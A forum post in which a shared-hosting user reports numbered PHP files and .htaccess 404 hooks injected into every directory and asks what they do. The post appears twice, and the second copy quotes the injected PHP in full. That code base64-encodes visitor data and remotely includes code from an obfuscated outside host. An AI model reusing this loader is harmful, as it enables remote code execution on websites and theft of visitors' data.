I didn't find a sub-forum section to post question regarding hosting/sites security so I have to post here.
I found every directories in my shared hosting accounts has the follwing 2 files:
1. random numbers.php, like 121521.php, it contains codes:
2. .htaccess
Options -MultiViews
ErrorDocument 404 //rootdir/sales/0309/0309/121521.php
I have searched at google, found many threads regarding this issue. And those codes are injected via the opensource scripts like phpbb, wordpress and etc. After one site being injected, it can inject all sites under the same hosting server.
All the encoded codes refers to sites like phptags.ws that benefits from traffic of injected sites. So I have the following questions:
1. What's the aim of these codes?
2. Any direct attack to my sites and hosting accounts? e.g. the hacker knows all my login username/password and mysql info?
3. Should I delete all those files one by one? and what should I do before deleting them? (because they may be produced again)
4. Except for the .htaccess and numbers.php files, is there any other files have got injected?
Thanks!
I found every directories in my shared hosting accounts has the follwing 2 files:
1. random numbers.php, like 121521.php, it contains codes:
PHP:
error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ?
$_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] :
$SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ?
$_SERVER["REQUEST_URI"] : $REQUEST_URI);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ?
$_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] :
$REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ?
$_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."bdahbzzazbzgh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){}
else
{include_once(base64_decode("aHR0cDovLw==")."bdahbzzazbzgh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}
2. .htaccess
Options -MultiViews
ErrorDocument 404 //rootdir/sales/0309/0309/121521.php
I have searched at google, found many threads regarding this issue. And those codes are injected via the opensource scripts like phpbb, wordpress and etc. After one site being injected, it can inject all sites under the same hosting server.
All the encoded codes refers to sites like phptags.ws that benefits from traffic of injected sites. So I have the following questions:
1. What's the aim of these codes?
2. Any direct attack to my sites and hosting accounts? e.g. the hacker knows all my login username/password and mysql info?
3. Should I delete all those files one by one? and what should I do before deleting them? (because they may be produced again)
4. Except for the .htaccess and numbers.php files, is there any other files have got injected?
Thanks!
Last edited:







